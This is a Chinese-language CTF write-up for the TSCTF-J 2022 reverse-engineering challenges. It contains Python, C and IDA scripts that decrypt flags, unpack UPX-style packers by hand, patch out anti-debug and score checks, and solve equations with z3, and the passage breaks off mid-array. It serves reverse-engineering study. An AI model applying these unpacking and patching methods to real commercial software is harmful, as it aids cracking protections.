Re

baby_xor

加密逻辑如上,密文动态调试,然后 Shift+E 导出密文【这样避免了手动获取】

# encoding=utf-8

enc=[  0x12, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x6E, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x3A, 0x00,
0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x7C, 0x00, 0x00, 0x00,
0x20, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x7A, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x7B, 0x00, 0x00, 0x00,
0x16, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x08, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x22, 0x00,
0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 0x1B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x12, 0x00,
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x69, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x39, 0x00,
0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x2B, 0x00, 0x00, 0x00,
0x55, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x3C, 0x00,
0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00,
0x13] for i in range(0,len(enc),4):
print(chr((i//4)^0x46^enc[i]),end='')

TSCTF-J{W3lC0M3_2_ReVEr$E_xOr_1s_$O0o_e2}

byte_code

0x01 题目分析

打开 .txt 文件。发现是python 字节码。那么就需要手动翻译byte_code 变成 python 代码了。

python»理解python的字节码bytecode (hustyx.com)

[(175条消息) CTF逆向-羊城杯 2020]Bytecode-WP-Python字节码反编译_serfend的博客-CSDN博客_ctf python字节码

(175条消息) Python的pyc字节码反编译反汇编相关知识_serfend的博客-CSDN博客_pycdc

转化为python 代码:【这里byte_code.txt 从前往后 依次翻译就行

注意翻译逻辑是,先取值后结合:】

LOAD_CONST          # 加载 常量
BUILD_LIST # 创建 list
STORE_NAME # 变量名称 LOAD_NAME # 加载变量名
LOAD_NAME
BINARY_ADD # 做加法 CALL_FUNCTION # 调用函数 # 一些简单指令含义,具体参考官方链接

dis --- Python 字节码反汇编器 — Python 3.10.8 文档

0x02 解密

对应得到下面程序:

# encoding=utf-8

a = [114, 101, 118, 101, 114, 115, 101, 95, 116, 104, 101, 95, 98, 121, 116, 101]
b = [99, 111, 100, 101, 95, 116, 111, 95, 103, 101, 116, 95, 102, 108, 97, 103]
e = [80, 115, 193, 24, 226, 237, 202, 212, 126, 46, 205, 208, 215, 135, 228, 199,
63, 159, 117, 52, 254, 247, 0, 133, 163, 248, 47, 115, 109, 248, 236, 68] pos = [9, 6, 15, 10, 1, 0, 11, 7, 4, 12, 5, 3, 8, 2, 14, 13] d = [335833164, 1155265242, 627920619, 1951749419, 1931742276, 856821608, 489891514,
366025591, 1256805508, 1106091325,128288025, 234430359, 314915121, 249627427,
207058976, 1573143998, 1443233295, 245654538, 1628003955, 220633541,1412601456,
1029130440, 1556565611, 1644777223, 853364248, 58316711, 734735924, 1745226113,
1441619500, 1426836945,500084794, 1534413607] c=a+b for i in range(32):
print(chr(c[i]),end='')
print() for i in range(16):
a[i]=(a[i]+d[i])^b[pos[i]] for i in range(16):
b[i]=b[i]^a[pos[i]] c=a+b for i in range(32):
c[i]=c[i]*d[i]&0xff
c[i]=c[i]^e[i] print(chr(c[i]),end='')

运行,转化后的代码得到flag

TSCTF-J{bY7ecoDe_I$_nOT_so_HArd}

baby_upx

0x01 upx脱壳

使用现有脱壳机都失败。只能手动脱壳!!!

OD 手动脱壳【64 位程序 OD 无法使用】只能使用x64 debug

【这里可以使用二分的思想,在程序中间位置断点,依次缩小范围,直到定位到入口点】

对dump出的程序进行分析。

0x02 程序分析

主函数如下:

加密逻辑如下:

直接爆破解出flag

# encoding=utf-8

import os
import subprocess # 转化小端序
enc_ = 'AF000000AC000000EC000000AF000000E700000059010000DE000000FC0100006F010000ED010000EC010000DE010000B50000006F010000B5000000EE000000E8000000EE000000FC010000B5000000AD000000AE000000FE010000B5000000EE010000EE0100006E0100007E010000DF0000006C010000D9010000FD01' for i in range(0, len(enc_), 8):
print(',0x', end='')
for k in range(i + 6, i - 2, -2):
print(enc_[k:k + 2], end='') enc = [0x000000AF, 0x000000AC, 0x000000EC, 0x000000AF, 0x000000E7, 0x00000159, 0x000000DE, 0x000001FC, 0x0000016F,
0x000001ED, 0x000001EC, 0x000001DE, 0x000000B5, 0x0000016F, 0x000000B5, 0x000000EE, 0x000000E8, 0x000000EE,
0x000001FC, 0x000000B5, 0x000000AD, 0x000000AE, 0x000001FE, 0x000000B5, 0x000001EE, 0x000001EE, 0x0000016E,
0x0000017E, 0x000000DF, 0x0000016C, 0x000001D9, 0x01FD] # 爆破flag
print()
flag = [''] * 32
for i in range(32):
for k in range(30, 128):
a1 = k
if enc[i] == (4 * (~a1 & 0x5B)) | (2 * (a1 ^ 5)) | ((a1 & 0x15) >> 2) | (8 * (a1 & 0x20)):
flag[i] += chr(k)
print(chr(k), end='')
print()
use = [0] * 32
# TSCTF-J{$uch_$_@A@y_UPx_bp28L#m} 存在多解 借用树的遍历,写出所有解 # for i in range(len(flag)):
# print('["'+flag[i]+'"]',end=',') print(flag) # 下面可以简单排除不可能的选项再爆破,降低复杂度 flag=['T', 'S', 'C', 'T', 'F', '-', 'J', '{', '$4', 'u', 'cqs', 'hj', '_', '$4', '_', '@B', 'A', '@B', 'y', '_', 'U', 'P', 'x', '_', '`bpr', '`bpr', '"02', '8:', 'L', '#13', 'm', '}']

0x03 多解爆破

通过树的先序遍历进行爆破

flag=['T', 'S', 'C', 'T', 'F', '-', 'J', '{', '$4', 'u', 'cqs', 'hj', '_', '$4', '_', '@B', 'A', '@B', 'y', '_', 'U', 'P', 'x', '_', '`bpr', '`bpr', '"02', '8:', 'L', '#13', 'm', '}']

# 树的遍历爆破

def pri(flag, i, pos,  str_):
if i == 32:
filename = r"F:\CTF_\CTF练习\2022_ctf\TSCTF-J 2022\RE\baby_upx\baby_upx.exe"
p = subprocess.Popen([filename], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p.stdin.write(str_.encode())
p.stdin.close() out = p.stdout.read()
p.stdout.close()
print(out)
if "You are so close to right flag!".encode() not in out:
print(str_)
input() print("[-]:"+":"+str_)
return for k in range(pos, len(flag[i])):
pri(flag, i + 1, 0, str_ +flag[i][k]) return
pri(flag,0, 0, '')

最终得到flag

TSCTF-J{$uch_4_BABy_UPx_pr08L3m}

baby_key

0x01 程序分析

程序流程如下图描述:

【注意:这里静态得到的密文是不对的,需要动态调试(或者xor 0x27)获得

0x02 爆破密钥key

爆破密钥 key

# encoding=utf-8

order = [11, 12, 10, 8, 3, 5, 2, 0, 7, 6, 13, 15, 9, 14, 4, 1]

enc1 = [79, 45, 144, 112, 179, 43, 100, 42, 72, 20, 117, 28, 90, 122, 98, 62]

enc_key = 'flag{VM1sSo3asy}'

for i in range(len(order)):
for k in range(30,128):
tmp = 0
if k <= 115:
if k >= 79:
if k == 79:
tmp = enc1[order[i]] + 7
elif k == 100:
tmp = enc1[order[i]] - 47
elif k == 103:
tmp = enc1[order[i]] - 56
elif k == 104:
tmp = enc1[order[i]] + 43
elif k == 109:
tmp = enc1[order[i]] - 23
elif k == 115:
tmp = enc1[order[i]] + 23
elif k==52:
tmp = enc1[order[i]] - 9
elif k<=52:
if k == 51:
tmp = enc1[order[i]] - 7
elif k == 33:
tmp = enc1[order[i]] +63
elif k == 42:
tmp = enc1[order[i]] - 6
if tmp==ord(enc_key[order[i]]):
print(chr(k),end='')
break

sO*h4hdsOm3!!sg!

k[]={0x682A4F73, 0x73646834, 0x21336D4F, 0x21677321};

0x03 魔改TEA 解密

python 处理数据

#  大小端序,转化和patch出的数据处理 

# 假密文
enc_='2F332070AC7E8904CAD2FB03518C802369E0C0E54162F226B887A433FB7A29E445203C2AFE2CEC18F302010E993B0721' true_enc=[ 0x08, 0x14, 0x07, 0x57, 0x8B, 0x59, 0xAE, 0x23, 0xED, 0xF5,
0xDC, 0x24, 0x76, 0xAB, 0xA7, 0x04, 0x4E, 0xC7, 0xE7, 0xC2,
0x66, 0x45, 0xD5, 0x01, 0x9F, 0xA0, 0x83, 0x14, 0xDC, 0x5D,
0x0E, 0xC3, 0x62, 0x07, 0x1B, 0x0D, 0xD9, 0x0B, 0xCB, 0x3F,
0xD4, 0x25, 0x26, 0x29, 0xBE, 0x1C, 0x20, 0x06] enc_='081407578B59AE23EDF5DC2476ABA7044EC7E7C26645D5019FA08314DC5D0EC362071B0DD90BCB3FD4252629BE1C2006' # 小端序
for i in range(0,len(enc_),8):
print(',0x',end='')
for k in range(i+6,i-2,-2):
print(enc_[k:k+2],end='') print()
for i in range(0,len(enc_),8):
print('0x'+enc_[i:i+8],end=',')

c脚本解密【这里要注意 delta值 大小端序 还有TEA逆向解密的一些细节】

#include <stdio.h>
#include <stdint.h> //加密函数
void encrypt (uint32_t* v, uint32_t* k,int round) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x61C88647; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < round; i++) { /* basic cycle start */
sum -= delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k,int round) {
uint32_t v0=v[0], v1=v[1], sum=0x61C88647*round*(-1), i; /* set up */
uint32_t delta=0x61C88647; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<round; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum += delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
} int main()
{
uint32_t v[] = {0x08140757,0x8B59AE23,0xEDF5DC24,0x76ABA704,0x4EC7E7C2,0x6645D501,0x9FA08314,0xDC5D0EC3,0x62071B0D,0xD90BCB3F,0xD4252629,0xBE1C2006};
uint32_t k[]={0x682A4F73, 0x73646834, 0x21336D4F, 0x21677321};
int n=sizeof(v)/sizeof(uint32_t);
int round=32; printf("加密前原始数据:\n");
for (int i=0;i<12;i++)
{
for (int j=0;j<4;j++)
{
printf("0x%x,",((v[i]>>j*8)&0xff));
}
} for (int i=10;i>=0;i--) // 由于程序本身 TEA 加密相邻,所以解密时得逆着来
{
decrypt(&v[i], k,round);
} printf("\n解密后的数据:\n");
for (int i=0;i<12;i++)
{
for (int j=0;j<4;j++)
{
printf("%c",((v[i]>>j*8)&0xff));
}
} for (int i=0;i<=10;i++)
{
encrypt(&v[i], k ,round);
} printf("\n加密后的数据:\n");
for (int i=0;i<11;i++)
{
for (int j=0;j<4;j++)
{
printf("0x%x,",((v[i]>>j*8)&0xff));
}
} return 0;
}

TSCTF-J{T1ny_eNcryPtIoN_4LgOrIthm_Is_so_FUn}

ez_maze

0x01 去混淆尝试

ida 【空格】 得到下面 Graph,显然是平坦化了的,直接分析难度比较大!

简单去控制流平坦化 cq674350529/deflat: use angr to deobfuscation (github.com)

【0x401150】 ===>main 函数入口地址

python deflat.py -f ez_maze --addr 0x401150

打开程序,发现所有逻辑都patch 了,所以其实没成功!!

0x02 程序分析

观察程序,先简单处理再去平坦化!!!【或者只能硬逆了】

只能硬逆了!【上述处理是不对的,改变了程序逻辑】

找到地图data,先生成maze,一番测试确定 91*61 【这里通过 地图长度5457 分解因数后知道地图大小】

现在来查找起点,终点位置,移动字母等

初始92 ==> (1,1) 起点
终点5457 ====>(59,88) pos=5457
print(int(pos//91),',',pos%91) #(59,88)

移动: A 左移3 D 右移3 W 上移182 S 下移 182 【*v27 代表当前位置】

下面图示是,是否撞墙的检测,能移动的话,左右 -+ 3 上下 -+182:【下图标注不准确】







0x02 走地图

【?要用算法写寻路脚本吗,那难度显然不一般】

先脑走一下!!![走不通XX标记,还有逆着走,好排除走不通的路径]

走通了,但是,写路径的时候,一写眼睛就花!写个简单程序来走!【主要帮助记录路线,还有print 走过的路】

# 地图如上

start = 92

print()
path = '' maze=list(maze) while True:
tmp = input("give me ch:")
print(tmp) if tmp == 'A':
start -= 3
elif tmp == 'D':
start += 3
elif tmp == 'W':
start -= 91
elif tmp == 'S':
start += 91 # 更新地图
maze[start] = '#' # 打印地图
tmp_ = 0
for i in range(len(maze)):
if (tmp_ + 1) % 91 == 0:
print(maze[i])
else:
print(maze[i], end='')
tmp_ += 1
path += tmp
print("当前步数:"+path)
if start == 5457:
break

最终得到上述路线!!!

DSSDWWDDSSDWWDDDSSASSSSSSSSDDSSSSDSSSSDWWDWWAWWWWWWWWASSAAWWDWWDWWDDSSDSSDDWWWWDDSSASSSSSSDDDWWAWWWWWWDWWDDSSSSDSSSSDSSDSSDSSSSAAAAAWWWWASSASSASSDSSDWWDDSSDDDWWDDSSASSDSSSSDWWDWWWWDSSSSSSSSSSSSSSAWWAAWWAAAAASSAAASSASSDDDDWWDWWDSSSSSSDDWWWWDSSSSSSDSSASSSSAAWWAWWWWAASSSSDSSDSSSSDSSDDSSDDSSASSDD

上下移动减半:【我上面脚本上下移动 写的是 -+91,但实际是182】

DSDWDDSDWDDDSASSSSDDSSDSSDWDWAWWWWASAAWDWDWDDSDSDDWWDDSASSSDDDWAWWWDWDDSSDSSDSDSDSSAAAAAWWASASASDSDWDDSDDDWDDSASDSSDWDWWDSSSSSSSAWAAWAAAAASAAASASDDDDWDWDSSSDDWWDSSSDSASSAAWAWWAASSDSDSSDSDDSDDSASDD

import hashlib

path='DSDWDDSDWDDDSASSSSDDSSDSSDWDWAWWWWASAAWDWDWDDSDSDDWWDDSASSSDDDWAWWWDWDDSSDSSDSDSDSSAAAAAWWASASASDSDWDDSDDDWDDSASDSSDWDWWDSSSSSSSAWAAWAAAAASAAASASDDDDWDWDSSSDDWWDSSSDSASSAAWAWWAASSDSDSSDSDDSDDSASDD'

print(hashlib.md5(path.encode()).hexdigest().upper())

1C34207F7C0B2F2C79A28A13B16907C6

TSCTF-J{1C34207F7C0B2F2C79A28A13B16907C6}

Link_Game

0x01 程序分析

应该是无壳的,直接分析,使用dnspy 32 位 逆向!

下面定位到关键函数 【定位到这里,主要是信息比较可疑,还有下面base64 解密的串】

public int[] After_Game = new int[]
{
53,71,22,108,73,97,59,107,63,126,103,125,106,80,98,66,83,93,75,2,94,96,91,48
}; // Token: 0x04000009 RID: 9
public int[] Aim; // Token: 0x0400000A RID: 10
public int[] k = new int[]
{
71,
65,
77,
51
}; for (int i = 0; i < num - 3; i++)
{
int num2 = this.Aim[i];
int num3 = this.Aim[i + 1];
int num4 = this.Aim[i + 2];
int num5 = this.Aim[i + 3];
this.Aim[i] = (num4 ^ (this.k[0] + (num2 >> 3) & 69));
this.Aim[i + 1] = (num5 ^ (this.k[1] + (num3 >> 4) & 103));
this.Aim[i + 2] = (num2 ^ this.k[2]);
this.Aim[i + 3] = (num3 ^ this.k[3]);
int num6 = this.k[0]; //循环处理
this.k[0] = this.k[1];
this.k[1] = this.k[2];
this.k[2] = this.k[3];
this.k[3] = num6;
}

0x02 逆向解密

python 逆向

# encoding=utf-8

import base64

# print(base64.b64decode('5b2T5YmN5YWz5Y2h77ya'))  # 当前关卡:

After_Game = [53,71,22,108,73,97,59,107,63,126,103,125,106,80,98,66,83,93,75,2,94,96,91,48]

key = [71,65,77,51]

for i in range(21):   # 先正着来,获取结束状态的key值情况,省得自己推了!
tmp=key[0]
key[0]=key[1]
key[1]=key[2]
key[2]=key[3]
key[3]=tmp for i in range(20, -1, -1): # 对加密逻辑得逆向
tmp = key[3]
key[3] = key[2]
key[2] = key[1]
key[1] = key[0]
key[0] = tmp num3 = After_Game[i + 3] ^ key[3]
num2 = After_Game[i + 2] ^ key[2]
num5 = After_Game[i + 1] ^ (key[1] + (num3 >> 4) & 103)
num4 = After_Game[i] ^ (key[0] + (num2 >> 3) & 69)
After_Game[i] = num2
After_Game[i+1] = num3
After_Game[i+2] = num4
After_Game[i+3] = num5 for i in range(24):
print(chr(After_Game[i]),end='')

TSCTF-J{Y0u_@r3_1inKgAm3_M@2TeR!}

Thunder_air

0x01 文件修复

exeinfo_

There is something wrong in the PE LOADER. Can you fix it? Hint:Intel 386 Machine. Find its machine code!

删除文字,再使用exeinfo,得到 32 位

ida 32 位,Intel 386 Machine。【ida 上不存在】

使用ghidra【也不存在】,只能Intel 386 Machine 聚焦这进行了。

通过010 edit 中的。exe.bt 模板,在PE NT 头中发现存在

enum IMAGE_MACHINE Machine ===> 修改为 I386

现在程序可以正常逆向了!

0x02 程序分析

发现花之恋,去除两处花之恋后!【花指令】【主要通过,D 转化为数据后,nop掉导致异常的字节码,这里需要自行尝试】

程序正常F5 后,找到input 位置,分析知道是变表base64 编码!

密文到 base64 编码数据有如下转化:

enc1=[  0x78, 0x4E, 0x7B, 0x15, 0x78, 0x47, 0x20, 0x6B, 0x7E, 0x7C,
0x17, 0x73, 0x70, 0x52, 0x67, 0x1F, 0x60, 0x78, 0x1A, 0x75,
0x74, 0x7F, 0x77, 0x4B, 0x70, 0x18, 0x5E, 0x7C, 0x56, 0x49,
0x72, 0x67, 0x57, 0x7F, 0x5E, 0x19, 0x74, 0x5B, 0x45, 0x59,
0x7B, 0x15, 0x4E, 0x69, 0x56, 0x71, 0x76, 0x71, 0x57, 0x4E,
0x72, 0x17, 0x4B, 0x78, 0x1A, 0x7C, 0x75, 0x18, 0x71, 0x73,
0x76, 0x56, 0x71, 0x23] v10=[0]*len(enc1) for i in range(len(enc1)):
v10[i]=(enc1[i]-5)^0x23
print(chr(v10[i]),end='')
# PjU3Pa8EZT1MHnA9xP6SLYQeH0zTrgNAqYz7LucwU3jGrOROqjN1eP6TS0OMRrO=

查看,base64 table。发现存在不可见字符【静态分析】

显然,需要动态调试获得真正的base64 变表。

交叉引用,跳转到上一个函数。也是游戏逻辑的主要模块!

其中存在debug,分数值判断,sleep等。同时需要先游戏完成,才能输入flag

那么如何绕过限制呢?【必然不可能去玩游戏】

【这里通过修改程序逻辑,绕过】【主要是,修改Debug运行逻辑,sleep()等待时间,分数值>=100000】【Debug 处理比较简单】修改后,如下图:

然后就可以动态调试了!动调得到base64 变表!【这里也是动态分析得目的】

sQ+3aj02RchXLUFmSNZoYPlr8e/HVqxwfWtd7pnTADK51Evi9kGMOgbuIzyB46JC

0x03 解密py

变表base64 解编码:

# encoding=utf-8
import base64 enc1=[ 0x78, 0x4E, 0x7B, 0x15, 0x78, 0x47, 0x20, 0x6B, 0x7E, 0x7C,
0x17, 0x73, 0x70, 0x52, 0x67, 0x1F, 0x60, 0x78, 0x1A, 0x75,
0x74, 0x7F, 0x77, 0x4B, 0x70, 0x18, 0x5E, 0x7C, 0x56, 0x49,
0x72, 0x67, 0x57, 0x7F, 0x5E, 0x19, 0x74, 0x5B, 0x45, 0x59,
0x7B, 0x15, 0x4E, 0x69, 0x56, 0x71, 0x76, 0x71, 0x57, 0x4E,
0x72, 0x17, 0x4B, 0x78, 0x1A, 0x7C, 0x75, 0x18, 0x71, 0x73,
0x76, 0x56, 0x71, 0x23] v10=[0]*len(enc1) for i in range(len(enc1)):
v10[i]=(enc1[i]-5)^0x23
print(chr(v10[i]),end='') change_table='sQ+3aj02RchXLUFmSNZoYPlr8e/HVqxwfWtd7pnTADK51Evi9kGMOgbuIzyB46JC' table='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' str1='PjU3Pa8EZT1MHnA9xP6SLYQeH0zTrgNAqYz7LucwU3jGrOROqjN1eP6TS0OMRrO=' # base64加密密文 print(base64.b64decode(str1.translate(str.maketrans(change_table,table))))

TSCTF-J{3nj0y_P1@Ylng_ThuNd3r_41r_B4tTle_g@m3!}

upx_revenge

0x01 vpx壳分析

UPX[NRV2B_LE32,best,Modified(21585056)]

ida 里发现一些加壳相关的信息

$Info: This file is packed with the VPX executable packer http://upx.sf.net

$Id: VPX 3.95 Copyright (C) 1996-2018 the VPX Team. All Rights Reserved. 

upx/upx at devel (github.com)

UPX - the Ultimate Packer for eXecutables (github.com)

知道野蛮人/超野蛮人做什么吗? ·问题 #174 ·上行/上行 (github.com)

查找到一些相关信息,但都无法利用

ida 动态调试,不好断。还异常退出,继续用X64deBUG 脱壳【突然意识到,X64debug 只能调式exe文件,OD 只能32 位】。那么只能继续用ida 进行处理。

0x02 Ida 带壳动态调试

ELF64手脱UPX壳实战 - 『脱壳破解区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

不断动调后,确定程序大概入口点!【最开始分析的,不太准确】

C 强制转化得到类似加密函数,混淆了

同时也在这个函数发现,Your Input is Correct! 字样。【显然就是关键函数了】

接下来,就需要正确dump出程序进行详细分析了!

【这里先通过,010修改程序入口的方式尝试】

entry 改为 0x401090 后,动态调试,发现程序直接获取了输入。说明,这个入口不对还得分析。【再次获得 0x4016D1 、0x401070 等 入口 】010 修改入口后多次尝试!【有瞎猜的味道了】【但是,这种方式是无用的,因为加壳程序有类似smc 自修改的效果,光静态修改入口,得到的程序没有啥作用。还会让程序更加难以分析 】

【下图是,ida多次尝试后,动态调试到的真正的程序逻辑处,但是光跳转此处,就得10多步断点,每次动态调试都是不小的挑战【带壳分析】】

和第一次,动调的位置差不多。也大致确定程序入口的范围!!!

【下图是通过定位,Your Input is Correct. 进行回退分析,发现eax 每次 sub 一个定值(或许就是密文),到入下判断点时,若为0 则输入正确】

【这个判断是错误的,现在知道这只是混淆手段,程序的每一步运行轨迹都是确定的】

# 做题时的错误分析
eax 来源于 ebp-0x16===>ebp-0x14====>input 【error】
ebp-0x14 动调可以知道 等于 input 【error】

如上简单分析了一下。【上面几条分析,是错误的,但对当时做题是有用的,不断的推翻重来,才能逐渐接近正确逻辑】

【再次修改程序入口点,进行调试发现帮助不大,main函数的最终启动,位于libc_main 一个.so 文件,然后才跳转到真正逻辑,只单纯改入口点没有用】

如下是正确的脱壳思路:

【尝试动态调试到关键函数,再dump出程序(相当于copy当前状态),这样确保了程序的正确逻辑,也是ida dump 脱壳的思路】

【同时这个方法有一个限制,就是脱壳后的程序,只能静态分析,所以还是需要动静结合,才能正确分析出程序流程

# dump 当前状态,也相当于脱壳了

start_address=0x400000
end_address=0x405F70 Shift F2 打开python 脚本dump程序 import idaapi start_address=0x400000
end_address=0x405F70
data_length=end_address-start_address data = idaapi.dbg_read_memory(start_address, data_length)
fp = open(r'F:\CTF_\CTF练习\2022_ctf\TSCTF-J 2022\RE\upx_revenge\010_edit\dump', 'wb')
fp.write(data)
fp.close()

【当然后面和出题人交流知道,这题的壳可以通过010 将所有 vpx 字样,改为 upx 就可以正常upx脱壳机脱壳】直接头铁,硬逆了属实!

0x03 脱壳静态与带壳动态结合分析

如上dump 出程序,脱壳成功!!!

首先根据一些明显的判断,知道flag格式 长度 45

# 大概格式!
【TSCTF-J{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}】 flag='TSCTF-J{'+'X'*36+'}'
flag=list(flag)
flag[21]='-'
flag[16]='-'
flag[31]='-'
flag[26]='-' print(''.join(flag))

检测思路,先通过验证输入字符是否正确,正确才会继续跳转到下面的验证!!!【静态不易分析】

【由于dump的程序,无法动态调试,还是继续用原本的程序进行动态调试,两相结合进行分析

太折磨人了!看能不能带壳去平坦化!【当时到这里,已经想放弃了,,,】

python deflat.py -f upx_revenge_test --addr 0x4016D0【不可以去平坦化】

那继续动态调试,分析!!!折磨人呀

下面是程序加密逻辑的分析:

【TSCTF-J{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}】
【/root/ida_/upx_revenge】 分析知道:【下面看似简略,但分析出结论,我花了大功夫的,静态猜测加密逻辑,动态去验证,然后推翻。再结合静态验猜测,再验证,以此往复】 1.先做格式检查 TSCTF-J{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}
2.将字符两两取出,其值为下标,通过映射表byte_405060,xor 0x35
得到一个长度为16 的数组,继续加密 接下来,以TSCTF-J{12345678-4321-abcd-4321-abcdef123456}继续测试动态调试 3. sub_401180 加密逻辑 【脱壳后静态与原本程序动态结合分析】 四轮 每轮加密4次 【最终得到,下面加密逻辑,后面知道是矩阵乘法】 # v11 = v16 + v17 * a4;
# *(_QWORD *)(a3 + 8 * v11) += *(_QWORD *)(a2 + 8LL * (v16 + v15 * a4)) * * (_QWORD *)(a1 + 8LL * (v15 + v17 * a4)); tmp=[0]*4
for i in range(2):
for k in range(2):
for j in range(2):
tmp[k+2*i]+=order[j+i*2]*data[k+j*2]
print(tmp) 4.
case 0x5577F8E1:
qword_405EF0[4 * v50 + v49] -= qword_405160[4 * v50 + v49] * qword_405260;
qword_405EF0[4 * v50 + v49] = (unsigned __int64)qword_405EF0[4 * v50 + v49] >> 1; 4 * 4 次: 联系第三个步骤!可写出如下函数 def enc1(order, data):
tmp = [0] * 16
for i in range(2):
for k in range(2):
for j in range(2):
tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]
return tmp tmp1 = [0] * 16
tmp2 = [0] * 16
for i in range(4): tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:]) print("第",i,"组:",tmp2) for k in range(4):
tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1 5. 第五步分析,是个16次的循环
【发现是将加密结果 与密文比较 干,终于到这一步了】 patch 出密文 解密程序得到flag
enc=[0x62961C0FE4D28,0x37FB23287E2852,0x3E1C8F5457EF0,0x234502946A064A,0xD87741DA9D659,0x26269C0306349,0x138CA0B38EE747,0x37209312D14CF,0x6FFB20902E85A6,0xA4DFB45E434627,0xB2F4F8CBA70ADE,0x1077C2F84B5994B,0x413B997953E9D1,0x642F09CFEEA51C,0x20DBBAEB80A022,0x3276ADEF34B91D]

下面是验证加密逻辑是否分析正确:【通过动态调试 patch 程序数据,到下面程序跑,看跑出的结果和程序运行的结果是否相同 】

'TSCTF-J{12345678-4321-abcd-4321-abcdef123456}'

# 805
print(805 * 0x19) order = [0x10, 0x05, 0x09, 0x04, 0x02, 0x0B, 0x07, 0x0E, 0x03, 0x0A, 0x06, 0x0F, 0x0D, 0x08, 0x0C, 0x01] data = [0x19, 0xB0, 0x51, 0x6F, 0x4F, 0x0E, 0x2D, 0xAC, 0x4F, 0x0E, 0x2D, 0xAC, 0x6E, 0x19, 0xB0, 0x51] unk_4051E0 = [0x18, 0x76, 0x02, 0xE9, 0xA4, 0x00, 0x08, 0x35, 0x74, 0x20, 0x02, 0xB9, 0x5A, 0xC7, 0x6F, 0x6F] end = [805, 3371, 549, 2028] # v11 = v16 + v17 * a4;
# *(_QWORD *)(a3 + 8 * v11) += *(_QWORD *)(a2 + 8LL * (v16 + v15 * a4)) * * (_QWORD *)(a1 + 8LL * (v15 + v17 * a4)); def enc1(order, data):
tmp = [0] * 16
for i in range(2):
for k in range(2):
for j in range(2):
tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]
return tmp tmp1 = [0] * 16
tmp2 = [0] * 16
for i in range(4): tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:]) for k in range(4):
tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1
print("第", i, "组:", tmp2) print(tmp2) # 是相同的,加密逻辑分析的是正确的!!!

肝了2/3天终于出来了!!!【当时的感触,保留了下来】

【但是后面发现,加密流程难分析,解密也不简单呀!】

0x04 Z3 解密

解密程序如下【下面的脚本,由于当时知道加密逻辑,但未识别出是矩阵乘法,所以逆向的时候,通过Z3 方程,列出未知数求解】

# encoding=utf-8

import hashlib
from z3 import * # 映射表
byte_405060 = [0x19, 0x1B, 0x05, 0xB2, 0x24, 0xCE, 0x77, 0x7C, 0x7E, 0x9C,
0x22, 0x65, 0xF4, 0xEB, 0xBE, 0x55, 0xD8, 0xC4, 0x2C, 0xB8,
0x3E, 0x3D, 0x6F, 0xB6, 0xBD, 0x8C, 0x39, 0x48, 0xCB, 0x38,
0x73, 0x0C, 0x6A, 0x3B, 0x81, 0x9F, 0x7D, 0x2B, 0x67, 0x1A,
0xD2, 0x40, 0xFC, 0x35, 0xD3, 0xD6, 0x41, 0x96, 0x56, 0xAC,
0x6B, 0xAD, 0x85, 0xAE, 0xA2, 0x8D, 0x42, 0x2F, 0xD7, 0x23,
0x54, 0x71, 0x0A, 0x8B, 0x1E, 0xAB, 0xC5, 0x7A, 0x72, 0x4B,
